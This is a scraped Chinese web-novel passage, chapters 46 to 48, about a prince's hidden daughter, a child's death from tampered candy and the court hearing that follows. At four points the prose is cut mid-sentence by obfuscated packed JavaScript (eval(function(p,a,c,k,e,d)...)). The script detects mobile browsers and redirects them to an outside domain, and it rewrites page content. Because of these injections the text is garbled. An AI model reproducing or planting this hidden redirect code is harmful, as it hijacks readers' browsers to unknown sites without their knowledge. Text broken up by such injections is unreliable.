“一来是惩罚七殿下，这二来也是为了保七殿下的命。” “广东山迢路远，距离京师万里之遥，未来五殿下登基为帝，这个距离也足以让他放下防备，饶七殿下一命。” “七殿下前往广东时，曾路过福建地界，托人捎信给我父王，让父王过去见他一面。” “父王见到他时，他的身体状况很差，已经开始咳血。” “当时先帝已薨逝。见到病入膏肓的七殿下，父王吓坏了，想上书给皇上，请求皇上能允许七殿下回应天留都养病，等病养好了再南下就藩不迟。” “福建和广东缺医少药，哪里比得了留都人杰地灵，适宜修养。” “七殿下不忍京师之事牵连父皇，遂将隐情一一说于我和父王。他担心自己时日无多，便托父王帮他照看一位亲人。” 归宁耐心听小周王娓娓道来，听到亲人二字，眼皮不由得一跳。 急声问道：“小王爷的意思是，这信物的主人是七殿下的亲人？什么亲人？” 乐巧与七殿下有关？ 这实在有些匪夷所思。 朱君澜很郑重地点了点头，“七殿下年少时在京郊游玩，不慎突遇暴雨，马失前蹄，跌落山谷。好巧不巧又惊了草丛里的毒蛇，那蛇受惊之下咬了七殿下一口，致使七殿下中毒昏迷。” “有幸被一年轻姑娘所救，带回家中养伤。” “那姑娘乃一桑农的女儿，清丽脱俗，温婉贤良。自小在山中长大，对山中毒蛇情况很熟悉，很快找来了解蛇毒的草药。” “不避男女之嫌，衣不解带的照顾了七殿下三天三夜，才将七殿下从鬼门关里拉回来。” “自那之后，七殿下常借出游之名，去探望那位姑娘。一来二去，二人暗生情愫。少男少女不知禁忌为何物，难免做了些出格的事。” “那姑娘还比七殿下年长两岁，端的是温柔如水，勤劳良善。善养蚕缫丝，更善刺绣。” “曾为七殿下亲手做过一身衣服，绣工甚是精湛。后来七殿下身量又长高了不少，穿着已经不合身了，他还一直留在身边。” 这件衣服，如今留在福建周王的府邸，七殿下托周王寻人时，将所有有关的东西都留下了。 归宁想起乐巧的母亲未婚先孕，被逼的走投无路，愤愤道：“既是如此，那姑娘怀孕时，七殿下又去了哪里？” “七殿下后来被先皇派去外地办差，一去就是两年，回来时早已寻不到那姑娘的影子。只是听说她有了身孕，被逼无奈离开了家。” “再后来皇上赐婚，他又与五殿下明争暗斗，不敢出半点儿纰漏，就一直耽搁了下来。” “夫人也应该明白，流落在外的皇室子嗣若想归宗，难上加难。万一被人捅出来，也会落个私德不修的恶名，七殿下冒不起这个险。” “七王妃又是文官之女，届时天下读书人口诛笔伐，岂不更无退路？” “七殿下不惜舍上身家性命也要为争夺皇位殊死一搏，也是想着等到君临天下那一日，接他们母子团聚，让他们后半生安享荣华。” 往事种种，也都是小周王从七殿下口中听说，他不想妄加评论，只是有一点可以肯定，七殿下一直不曾忘记那个姑娘。 父王说，当时的七殿下已经病入膏肓、死气沉沉，唯有在提起那人时，眼中才闪着光。 而在归宁眼中，萧元绰为了名声地位可以不顾青梅竹马的情分，暗地里算计她；七殿下为了至高无上的权利，也可以将全身心交付给他的女子弃之如敝履。 女人就该这么白白被牺牲吗？他身为堂堂皇子，就不能先将她们母女体面的安置了？或者托人照看一下吗？做到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721002|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步，对于一个无上尊崇的皇子能有多难！ 微微垂眸，声音低缓：“七殿下或许有七殿下的难处，可他再难，哪里比得过一个未婚先孕的女子带着一个孩子四处讨生活艰难呢？” “世人的指指点点堪比钝刀子割肉的凌迟，一人一口吐沫就足以将她们母女淹死。” “别说找不到她们，一个弱女子能跑多远？若是用心，总能找到些线索。七殿下长居京师都找不到，不曾来过京师的小周王就能找到了？” 归宁半是嘲讽半是心酸地牵了牵唇角，“说到底，她没有他的大业重要罢了。也不怪七殿下，男人有男人的天地，而女人只能固守女人的宿命。” “九五之尊与一个女人，孰轻孰重，分得清。” 就如萧元绰，他有广阔的天地去翱翔，去实现他位极人臣的梦想；可她呢？只能禁锢在内宅，恪守妇道，兢兢业业打理庶务。 前后两世，归宁始终不明白，自己到底做错了什么，值得他那么费尽心思的算计。 不过寥寥两次见面，朱君澜怎能明白归宁内心的苦楚，张了张口不知如何安慰，只得实事求是地继续道：“夫人猜测不错。七殿下知道我们父子进京不便，临别前特意交代，他留在京师的心腹寻到她们母女之后会送去福建安顿。可后来不知道发生了什么事，这个人突然失踪了，不仅七殿下要找的人没有消息，连他留下的接头人也没了线索。” 周王好歹是藩王，且为人正派，她们会得到很好的照顾，总比跟着他那些手下东躲西藏强得多。这大抵是七殿下唯一能为她们做的安排。 可是就在这个唯一可以改变她们母女命运的机会，也随着他的离世成了一场空。 “父王等了四年，也没见七殿下留在京师的人传去消息。恰巧我奉召入京，父王便将此事托付与我，让我趁此机会寻人。我猜测，七殿下留下的心腹应该是被朝廷清算，所以没有办法完成七殿下的嘱托。” “我虽然进了京，但是人生地不熟，凭我在京师的人脉，寻找她们母女无异于大海捞针，所以年前进京时，只能遗憾放弃。” 小周王口中那位姑娘，与乐巧母亲的身份非常契合，归宁可以断定：乐巧就是七殿下的私生女。 人算不如天算，好巧不巧，乐巧被可怜她的赵太太接入府中，原以为她能依靠赵家过上衣食无忧的生活，却阴差阳错成为萧元荷掩盖罪行的牺牲品。 可叹，本该是尊贵的皇家女，却落得如此境遇，真是命运弄人。她名为一个“巧”字，却偏偏如此这般的不凑巧。 归宁以为自己重活一世，可以改变很多事，却发现自己身为萧家宗妇，从睁眼那刻起，就已经被困死在内宅。无论她如何小心翼翼布局，都挪不开萧元绰遮在她头顶上的那只大手。 前世的乐巧在被吴明算计后，为了清白而自戕；今世归宁虽将她拉出一个陷阱，却仍是未能帮她扭转被辱的命运。 世事无常，人拗不过天！ 她自己也会如此吗？ 46. 早夭 归宁唏嘘一阵，遗憾开口：“殿下，那娘子已于三年前病逝，只留下一个女儿，现在工部员外郎赵大人府上。” “一个多月年，那姑娘陪赵太太回娘家，在归途中遇到了悍匪，被劫了去。人虽跑了回来，却经历了一些极其不好的事。” 归宁隐晦地将乐巧的遭遇说与小周王，顺道也将萧元绰的姐姐萧元荷的事，以及之前京师传的风言风语的明渊寺老和尚的事，都说了。 朱君澜细细听完，沉吟片刻道：“夫人能否帮我将那姑娘带出来？我有些话要单独对她讲。” “至于这明渊寺的和尚，我这就派人去查一查。” 归宁点头应了下来，提醒道：“据说那配药的和尚已经摔死了，不过能冒充明渊寺的弟子可不是一般人能做到的，少不了寺庙中有人做内应，替他遮掩，共同牟利。” “萧家的太夫人邓氏素来宠爱萧大姑娘，常去明渊寺上香，和明渊寺一位叫承远的和尚相熟，他是明渊寺的执事。或许可以从这入手查一查。” 朱君澜受七殿下之托寻人，归宁要寻找真相，二人恰好有了相同的目标，如此二人的话题就多了起来。 ** 一帘幽景，一壶清茶。 不知不觉二人竟谈至中午，归宁瞧了一眼屋内的漏刻，道：“小王爷用些便饭再走吧。” 朱君澜起身道：“夫人不便出来太久，我就不多叨扰了，先告辞。以后若有事，请夫人身边的丫头出来传个话即可。” “原不该让夫人冒险出门，只不过今日之事太过特殊，还是亲口告诉夫人妥当。” 归宁无比庆幸道：“得亏是我来了，要不这乐巧姑娘和平安结的事可能就要搁置了，要耽搁多少事？” 朱君澜看着她瑰丽的笑脸也跟着牵了牵唇角，是呀，缘分可真奇妙。 宅子里没有男丁，朱君澜担心归宁出门不顺，坚持亲自推她出来，眼见人上了车，才放下心来。 马车的机关做得实在精巧，临别前忍不住问道：“这是谁做的？” 归宁道：“外祖母娘家姚家的表弟做的，他最善各种精巧的机关和手工。小王爷若有兴致，有机会我介绍你们认识。” 朱君澜并没有拒绝，坦然道：“好呀，我等着那一天。” 拱了拱手道：“夫人，后会有期。” ** 朱君澜离开倚梅园后，一刻都没耽搁，起身去往明渊寺。归宁则回了府邸。 可这屁股还没坐热，就见邓氏身边的丫头瑞欢满脸泪痕地跑了过来，见到归宁，噗通一声跪在地上，哭道：“夫人，不好了……” 周嬷嬷这颗提了半天的心刚刚放下，就又吓得扑通乱跳起来，“诶呦，这又是出了什么事？快起来好好说。” 瑞欢就着周嬷嬷的搀扶起了身，抹了一把泪，道：“夫人，大姑奶奶的孩子……没了。” 周嬷嬷以为自己年纪大，耳背，听岔了，忙看向归宁。一旁的南烟也吃了一惊，又问道：“你说清楚，是哪个孩子？” 瑞欢又重复了一遍，“大姑奶奶的孩子简哥儿，没了。” “一大早赵府就来了人，说简哥儿不好了。太夫人知道夫人受了伤不方便，就一个人先过去瞧了。刚到时简哥儿还有一口气吊着，现在……现在已经断了气……” “大姑奶奶和太夫人都哭成了泪人儿。太夫人让奴婢回来给夫人说一声，让夫人给大爷传个信儿，让大爷快回来。” 南烟可惜地叹了口气，“人都没了，让大爷回来有什么用？还是紧着把丧事办了吧。” 瑞欢道：“大姑奶奶坚持说是赵府乐巧姑娘害死了简哥儿，在那儿扯着要报官，赵太太说她病糊涂了，闹得不可开交。” 归宁意识到了一丝不妙，眉头轻蹙道：“你慢慢说，说清楚些，到底怎么回事儿？我明白了其中的原委，才能派人转述给大爷，让他早有准备。” 瑞欢道：“夫人也知道，简哥儿身子不好，尤其是到了冬天，三天两头不舒服。” “元宵那日，简哥儿吵着要出去看花灯，太太和奶奶都劝不住，最后还是赵二爷抱着他上了街，回来就有些打喷嚏流鼻涕。十六那天请大夫瞧了，说不碍事，吃两副药就好了。” “到了十七那日，稍微有些发烧。郎中瞧过之后，问了些饮食的情况，说发散发散就好了。” “可谁知，十八那天开始上吐下泻，高烧不退，一度昏迷不醒。到了晚间，还咳出血来，折腾了整整一晚上，都不见好。郎中说，如今那晚醒不来，就危险了。” “二奶奶没了主意，今儿一大早派人请太夫人过去瞧瞧，太夫人眼睁睁瞧着简哥儿在自己眼前断了气，快哭成泪人儿了。” 南烟闻言道：“可这关乐巧姑娘什么事儿？” 瑞欢道：“简哥儿嫌药苦，一直不爱喝药。必须得备下花生糖酥哄着，他才喝得下去。” 花生是个稀罕东西，在本朝种植少，产量也低，唯有高门大户人家吃得起。简哥儿独爱花生酥那份香甜，这归宁是知道的。 “可今日郎中查了简哥儿吃的东西，说那花生酥里掺了杏仁。简哥儿吃不得杏仁，吃两口就犯病，之前差点儿因此丧命，府里人都知道。” “简哥儿喜欢吃的东西，旁人不敢和他抢，自然不知道里面被人动了手脚，还一个劲儿地哄他多吃两口，这样好喝药。可谁知竟害了简哥儿呀！” 瑞欢是买来的丫头，自小被邓氏选中，在她院子里服侍，自姜妈妈离开后，瑞欢就是邓氏院子里的掌事大丫头。 邓氏待她不薄，如今见邓氏与大姑奶奶为了简哥儿的事儿哭去了半条命，她也跟着急了起来。 南烟上前拍了拍瑞欢的肩头，道：“平白无故的，乐巧姑娘犯得着做这种事吗？再说我上次进赵府见乐巧姑娘时，她病病歪歪的，连床都下不了，便是有心也没那能耐不是？” “莫不是厨房人多手杂，弄错了吧？” 瑞欢一把打开南烟的手，哭得更加难以自已，“姑娘怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732445|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么总向着外人说话？乐巧姑娘就是记恨年前庆宴上的事儿，有意报复大姑奶奶。” “她勾引赵二爷不成，却要害二爷无嗣，心思何其歹毒！” 南烟内心冷哼一声，那还不是怪萧元荷辣手无情。不管这事儿是不是乐巧做的，她都觉得萧元荷是恶有恶报，就是可惜了那孩子。 归宁听完原委道：“我立刻命人去西山寻大爷，不知现在赵家打算怎么处置？” 瑞欢抹了一把泪，道：“大姑奶奶坚持报官，乐巧姑娘为了自证清白，也答应去官府辩解辩解。” “正值元宵休沐，大理寺估计明天才能升堂办案，请夫人快点儿让大爷回来吧。” 归宁转向南烟道：“你去外院告诉秦管事，让他找人骑快马去一趟西山别院。” 又对周嬷嬷道：“嬷嬷去一趟姚家，给表舅母说一声。” 沉吟片刻，又对碧桃吩咐道：“大过节的，白布都不好找。你去库房瞧瞧，看看咱们府上有没有，若有，都拿出来交给南烟。” “南烟，你替我包五十两银子，算我个人的份例，随那些白布一起，跟着瑞欢送去赵家。” 又对瑞欢道：“瑞欢，我腿上有伤，出行不便，婆母那里就多劳你照看了。” 交代完这些又对香冬道：“你去前院候着大爷，提前备好换洗的衣服和热水。”萧元绰喜洁，出门归来必要沐浴更衣。 众人各自散去。屋内没了旁人，归宁细细思量了片刻，觉得这事儿恐怕不简单，但愿南烟能过去和乐巧单独说上几句话。 除此之外，归宁又写了一个小纸条，用蜡油封好，让唐妈妈带给倚梅园的柳妈妈，再让柳妈妈交给暂住在栖迟别院的小周王。 ** 兔起乌沉，华灯初上。马蹄得得，迎来夜归人。 萧元绰一路风尘仆仆，进院就见香冬在前院候着，眉头微蹙，还未开口，就听对方道：“夫人行动不便，让奴婢提前备好了热水和饭菜，迎候大爷。” 听到是归宁的安排，萧元绰的面色才柔和下来，任由香冬服侍自己梳洗。 宽衣时，不知是什么东西咣当一声落在了地上。香冬本想弯身去捡，被萧元绰十分警惕地制止道，“这里不需要你，你出去吧。” 沐浴出来，见香冬在摆饭，萧元绰坐定道：“我这里有文轩伺候就够了，你回后院吧，告诉夫人一声，让她早些歇息。” 香冬被遣回后院，生怕主子责怪自己伺候的不好，把书房的事老老实实的给归宁说了。 听到掉落的东西，归宁心头一颤，故意半开玩笑道：“是什么东西，不会是个香囊吧？回头我问问夫君。” 香冬紧摇头，“屋里灯暗，没看真切，感觉像箭头。”那尖尖的东西在昏灯下闪着冷光，着实惊了她。大爷捡起来时，她还悄悄扭头看了一眼。 说者无意，听者有心，归宁心中一凛，那箭头不会就是徐四公子那晚射向黑衣人的那支吧？ 还真被小周王说中了！ 47. 面圣 正当归宁因为箭头之事担忧愁闷之际，屋外传来淅淅索索的响动。 原是南烟踏着夜色归来。 眼下局势紧迫，最要紧的还是赶快解救乐巧，其他的事只能暂缓。小周王曾说那不过是一支普通的箭头，萧元绰再有能耐也不可能通过一只没有任何标记的箭头查到徐四公子头上，归宁不自觉开始自我安慰起来。 此刻刚归来的南烟进屋跺了跺冻得冰冷的双脚，烤了烤冻僵的手，才进屋见归宁，道：“大爷一到，就让太夫人带着我们几个丫头回来了，现在太夫人已经回了自己的院子。” 归宁见她双耳冻得通红，关切道：“吃饭了吗？” 南烟无奈道：“吃什么呀？赵府都乱成一锅粥了。” 归宁对香冬道：“你去吩咐厨房，用煨着的鸡汤煮几碗面，再炒一盘脆嫩的肉丝豆芽，送去给太夫人那边。一碗面，再炒一盘葱爆羊肉，送来这里。” 归宁将一盘梅花糕端过来，“你先吃一些垫垫。” 南烟拿了一块，边吃边道：“乐巧姑娘被关进了柴房，门外有人守着，我没见着人。据赵太太说，她这几日一直卧床养病，不可能是她。” “可咱们家大姑奶奶和太夫人厉害呀，硬是逼着赵太太撒手不管乐巧的事了。就算是乐巧冤枉，赵太太也坚决不插手。” 归宁不解，“赵太太怎么了？” 南烟道：“大姑奶奶哭得肝肠寸断，寻死觅活，已经让赵太太难做人，偏偏又遇到咱们家太夫人这种人，赵太太就是十个心眼子也斗不过呀。” “太夫人的为人处世夫人最是清楚不过，惯会以弱欺强，如今又占着理，当着一众亲友的面，借赵太太纵容乐巧这个由头，把赵太太说得里外不是人，偏偏还不带一个脏字。赵太太是有苦说不出，差点儿气得晕厥过去。一气之下说出，乐巧的事她不管了，也落个清净等话。” “赵太太撒手不管，一切由赵二爷主持，他已经去了大理寺报案，明日开堂。” 南烟忍不住眼圈一红，“乐巧姑娘这次恐怕凶多吉少了。”萧元荷本身就得赵明敬宠爱，背后又站着萧家，死的还是赵家嫡孙。 乐巧一介孤女，到了公堂上更是只有让人拿捏的份儿，不管是不是她，这罪名也落定了。 归宁细细听完道：“你明天去一趟栖迟别院，务必见到那里的主子，让他想想办法。”她一内宅女子，无法插手官场上的事，这要看小周王怎么周旋了。 昨日已经让柳妈妈传了信，可她担心没寻到人，明天打算再让南烟去一趟。 南烟知道，这个主子已经不是徐四公子，而是昨日她们见到的那个神秘人。 厨房很快送来了饭菜，南烟囫囵地吃了一碗面，道：“明天要不要派人去围观审案的事？” 归宁略略点了点头，“让你舅舅暗中去瞧瞧吧。” 南烟又叹了一声，“我听说有的大人审案，不分三七二十一，先打十大板。就乐巧那身子，恐怕两板子都熬不住。” 归宁没再接话，乐巧毕竟是七殿下留在世间的唯一一条血脉，可也是最见不得光的身份。 ** 且不论二人如何忧心，该来的总是来了。次日，本该休假的大理寺见有官员来报案，不得不升堂办案。 至于小周王，昨日与归宁辞别后，就去了明渊寺，很晚才回栖迟别院。今日一大早，竟然破例去了皇宫，这事唯有他身旁的护卫雷驰知道，旁人无一知晓。 雷驰阻拦道：“殿下一定要入宫吗？” 朱君澜道：“我偷偷摸摸回到京师本就名不正言不顺，正好借此机会向皇上禀明此事。” “福王殿下已逝，乐巧不过是一名女子，翻不起多大的浪，妥善安置还能为皇上迎来美名，何乐而不为？” 小周王心里也有自己的盘算，当今皇帝刚刚继位就宣布解除海禁，可这也加重了海寇作乱，正是因为有周王这样的藩王坐镇福建，才保得一方平安。 所以皇上对周王倚重还来不及，不会因这点儿小事迁怒于他。 而一切也果真如他所料，正在御花园陪爱妃赏花的皇上，看到秉笔太监手中的信物，知道是何人求见，立刻丢下美人儿，去了御书房。 连传话的太监见皇上此举，都稍稍吃了一惊。饶是内阁大臣要见皇上，都要吃半日的闭门羹，小周王的脸面还真是大呀。 甫一见面，九五之尊的帝王便温声问道：“君澜这次进京是有什么大事？” 朱君澜脊背挺直地跪在地上，叩首道：“皇上，臣是来请罪的。” 帝王微疑，面色不改，话语间却多了几分威严：“你说。” 朱君澜将福王生前所托之事一五一十地说了，还将信物呈上，“皇上，臣受人之托来京寻人，请皇上裁夺。” 帝王听罢，笑着让太监将人搀起来，道：“朕当是什么大事，原来是替七弟寻女。七弟虽已过世，可也是朕的胞弟，朕岂能袖手旁观？这女子既是我皇室血脉，就不可随意被人糟践。” “你既然已寻到这人，就按七弟生前嘱托安置吧。念在她身上留着七弟的血，朕赐她黄金百两，以安余生。” 朱君澜并未起身，而是道：“只不过这女子牵扯进一起家宅命案中，已被大理寺传唤上堂。” 皇帝问道：“什么案子？” 朱君澜将赵家的事说了，也连带说了赵家二奶奶萧元荷出身弘文伯府。 听到弘文伯几个字，皇帝又念叨了一遍，“可是曾经救驾而亡的弘文伯萧家？” 朱君澜乃福建藩王之子，对京城之事并不清楚，但萧家是恩人宋大人的岳家，自然打听的多了些，知道些情况，答道：“正是。” 皇上略略沉吟，对一旁的秉笔太监吩咐道：“陈葆，你马上出城，去大理寺，亲自盯着审理此案，务必要公道。” 转头又对朱君澜道：“你再多等些时日，待事情了结之后，你再按照七弟的遗愿安置便是。” 朱君澜作为地方藩王世子，无权插手京城任何政事，这才求到皇上面前。如今有了皇上派人盯着审理此案，乐巧便多了一分希望。 有了皇上这句话，他很识趣的退了下去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745506|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这厢人刚走，站在皇上身后的掌印太监李芳问道：“皇上是察觉到了什么？” 这些在帝王跟前伺候的人，最善察言观色，哪怕是最细小的神情举动，也逃不过他们的眼睛，何况还多问了那么一句。 多问的这一句，还真不是空穴来风。 当今皇上并不似先皇那般倚重萧家，反而有一种忌惮之心。 只闻帝王对掌印太监道：“还记得朕刚登基时，派锦衣卫诛杀逆贼一事吗？” 要诛杀的逆贼不是别个，正是当年拥戴福王的一些死士。据说当年只杀了一个关键人物，其他人都跑了。 而当时负责抓捕的锦衣卫指挥使带着两名千户，分路包抄，结果功亏一篑，有密探说是有人提前走漏了消息。 而走漏消息的这个人，应该就是福王在锦衣卫里安插的自己人。 皇上很怀疑是邓千户，也就是萧家太夫人邓氏的大伯，因为弘文伯曾暗中与福王有些来往。邓家又和萧家是连襟，最为可疑。 可是邓千户在抓捕逆贼中，与那头目搏斗时，重伤身亡。包括锦衣卫指挥使在内的一众锦衣卫官员都亲眼目睹其因公殉职的忠勇，这让帝王的怀疑无处安放。 是以在邓千户殉职之后，皇上命吏部驳回了邓家人荫补其官职的请求。 那伙贼人自逃脱以后，音讯全无，一直到今日还是皇上的心头之患。据说有一人很擅长使用火器，这让他更加难安。 如今福王的私生女，正和萧家嫁出去的女儿扯上了官司，或许可以借此将这些藏在暗处忠于福王的死士引出来。 掌印太监李芳谦卑的问道：“皇上认为那伙人还在京师？” 皇帝道：“君澜刚刚也说了，福王在京师留有人接应他。只不过这人突然暴毙，而暴毙的这个人恐怕就是当年被诛杀的那个头目。” “君澜自幼在福建长大，福王托他来京寻人，不过是想让周王带回福建，送去广东。京师一定是有人接应，否则周王人生地不熟如何寻人。” “朕也怀疑这群死士留在京师做什么，今日猜测，应该是受福王之托，寻那对母女。” 掌印太监李芳堪堪反应过来，“那头子死了，线索断了。周王没寻到人，那群人也无头苍蝇似的乱转。如今要找的这个人现身了，那群人自然也该浮出水面了。” 皇帝的目光幽沉，带着上位者的威严道：“给陈葆透个话，务必把这案子审好。”让这女子的身份将漏未漏，才好将人引出来。 李芳道：“皇上就放心吧，奴才这就过去指点指点。” 这厢李芳刚刚转身，又听背后的皇上道：“工部侍郎梅家的大郎还是没消息？” 若说这梅家大郎何许人也，正是刚刚皇上口中擅长制造火器之人。他是七殿下福王的伴读，与七殿下以兄弟相称，七殿下失势之后，梅家就对外宣称他死了。 但是两年后皇上得到锦衣卫密报，说此人还活着，这正是皇帝担忧所在。 李芳微愣，摇头道：“没有。” 皇帝道：“那就借这个姑娘，试着把他引出来。” 48. 身死 大理寺马大人开堂审案，桌上惊堂木一拍，问话气势如虹：“堂下何人，状告何事……” 可刚开了个头，转头就见一位着一袭朱红色斗牛服的公公，右手揣着拂尘，左手搭着小太监的手，笑着慢悠悠走进来。 恍似捏着嗓子在说话：“皇上听闻顺天府元宵节还在坐堂审案，为公为民，堪称楷模，特让杂家过来瞧瞧。” 见是皇上身边的红人，马大人不敢怠慢，命人搬了把椅子，请他坐下，这才回到堂上，开始审案。 因是赵家事，萧元绰并不在场，赵明敬是官身，也不方便出面。萧元荷和赵太太等官眷，爱惜脸面，更不会抛头露面。 堂下只站着简哥儿的乳母曹妈妈和病病歪歪的乐巧。 曹妈妈一口指定是乐巧在花生糖酥里掺入了杏仁，暗害简哥儿性命。 乐巧跪在地上，病恹恹道：“启禀大人，小女子染病多日，沉疴在身，连下床走路都费力，怎有能耐下此毒手。” 还未等她说完，曹妈妈指着乐巧的鼻子，厉声骂道：“就是她这个小妖精妄图勾引主子，一计不成又生二计，生生害了哥儿的性命。” “大人，这种狐媚子，不动用重刑是不会招的。” 这里是京师顺天府，天子脚下，怎是那山高皇帝远的小地方，可以滥用私刑。再者，皇上身边侍候的大太监还在呢！ 这位大理寺正也不知道这案子是招了什么邪，竟惹得皇上关注，一拍惊堂木，呵斥道：“公堂之上，休要乱语。我且问这位姑娘，是不是你下的手？” 乐巧磕头道：“大人明鉴，是有人要杀小女子灭口呀。” “一个多月前，伺候我的小丫头偶然听府上有人在二奶奶的院子里说什么明渊寺的老和尚，还有杀人的药方等事。不久这小丫头就溺水淹死了，而我在陪太太出门时，路上遇到了悍匪，险些丢了性命。” “好不容易拖着半条命回来，太太好心，为我请了郎中开药。可这药我吃了大半个月，越吃病情越重，还请大人查查，这药是不是就是那传说中能杀人的药方呀？” 曹妈妈听罢，手心一片冰凉，舌头也有些打结，“你……你这狐狸精信口雌黄……” 噗通一声跪倒道：“大人莫要听这狐媚子信口雌黄呀！我家二奶奶是弘文伯府嫡出的姑娘，怎会做出这等事？” 乐巧泣声道：“大人，小女子冤枉呀。小女子半个字没提是二奶奶做的，只是听到有人在二奶奶的院子里说起那配药和尚的事……” 她没直言，却有人已经急得失了分寸。 明渊寺和尚的事，在京师闹得很大，很多官家女眷都听说了，但都缄口不言。民间的寻常百姓倒是极少听到风声。 事关重大，马大人看了一旁的公公，刚要开口，就听这人不耐烦地道：“听说这案子闹得满城风雨，还不快查。” 马大人看向乐巧，厉声道：“你说这话可有证据？” 乐巧答：“有，那些丢弃的药渣就是证据。” 赵家二爷有官职在身，普通差官不好冒然上府。大理寺正命令暂时将二人收押至监牢，自己带着差官上门取证物。 临走前瞧了旁听的公公一眼，“您老先坐等着？” 陈葆暗睇了脸色蜡黄的乐巧一眼，漫不经心道：“先给这姑娘请个大夫吧，别案子没审完，人先病死了。” 马大人道，“公公说的是，下官这就命人请郎中来。” 命人将乐巧单独关押至一个牢房，自己带人去了赵府取证据。 ** 案子今日就审到这里，秦管事回来后，将今日大理寺发生的怪事让南烟转述给了归宁。 萧元荷经此打击一病不起，萧元绰仍然留在赵府未归。 南烟咋舌道：“夫人认识的这个人能耐了得，竟能惊动皇上。”这让她不由好奇那个人的身份。 归宁猜测，应该是小周王进宫见了皇上，皇上出于某些考量开了金口，如此才出现宫中的秉笔太监去旁听案子的古怪事。 归宁放下手中的茶盏，惋惜道：“乐巧心急了，她不该这样。” 南烟不解道：“夫人这话何意？我怎么不懂呢？” 归宁缓缓道：“乐巧知道大姐姐在药里做了手脚，也猜出她和那明渊寺的和尚有勾连。特意借简哥儿之死去见官，把这事儿捅出来。” “如果没有简哥儿的事，乐巧自己直接告官，首先要找人写状纸，然后去衙门告状。萧元荷是官眷，背后牵扯着赵家和萧家，民告官，依着规矩，还要打一顿板子才行。无论是写状纸还是挨板子对她来说都是难事，其他的且不论，单单是那顿板子她都不一定能熬下来。” 写状纸就要将萧元荷指使旁人绑架她，毁她清白说得清清楚楚，这对于女子何其残忍。可由简哥儿下手，击溃萧元荷的理智，她就有机可乘。 “若是别人告她，她可以以对方要杀她灭口，来个反杀。” 南烟恍然大悟：“有人能在她的药里添东西，就难免有人在简哥儿的花生糖酥里做手脚，至于这个人是谁，那就一起查了呗。” 归宁坐在廊下晒着太阳，浑身上下却感不到一丝暖气，心里空落落的冰凉。 她几乎是能断定简哥儿是被谁害死的了。乐巧是可怜人，可简哥儿毕竟还是个孩子，他又做错了什么？她无权指摘乐巧，却也无法从心里赞同她的做法。 不经他人苦，莫劝他人善。归宁只能如是开导自己。 至于赵家后面发生的事，还是由卢夫人的口转述给归宁的。 话说简哥儿的死讯刚刚传出，归宁就派人给卢夫人去了信。卢夫人想起前几日二丫头还和这孩子闹过，怎么也要过府看看。遂一刻也没耽搁，立马就出了门。回府时，顺道来萧家探望归宁，就把自己的所见所闻说了。 她刚到赵府，屁股还没坐热，就听说大理寺的人才赵家取证，心里一阵纳罕，派随行的大丫头出去瞧了个究竟。 马大人带着差官刚登临赵府，就客客气气地说明了来意。府上人听说要找寻乐巧姑娘熬药剩下的药渣，丝毫不慌，立刻配合的将人往里请。 厨房里的管事妈妈二话没说，很镇定的将人带去后院，道：“一部分埋这里了，一部分应该是晾干烧了。” 正当差官正在挖掘时，赵明敬上前和马大人打了个招呼，“怎么回事儿？” 马大人只好把公堂上的事情说了。 赵明敬脸色落了下来，“还请大人好好查查，还内子一个公道。” 萧元绰也跟了过来道，“事关我萧家的女子，请大人务必要查清楚。” 马大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769594|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人讪讪地笑笑，恨不得快些将东西取了，回去赶快把案子审结了。 就在此时，一个大概十一二岁的小丫头跑过来，对眼前的差官道：“各位大人，你们只挖这里不行，这里只有一少部分，好多在那边，我带你们过去。” 一旁的嬷嬷一把将小女孩扯过来，讪笑道：“这丫头有些疯病，胡说八道的，大人们别当真，误了正事。” 那丫头一嘴咬在拉扯她的嬷嬷胳膊上，挣扎喊道：“我没胡说，大人不信跟我来。” 这丫头年纪虽小，可吐出的每句话都足够惊人：“大人要想侦破那明渊寺和尚的案子，就随我去瞧瞧。” 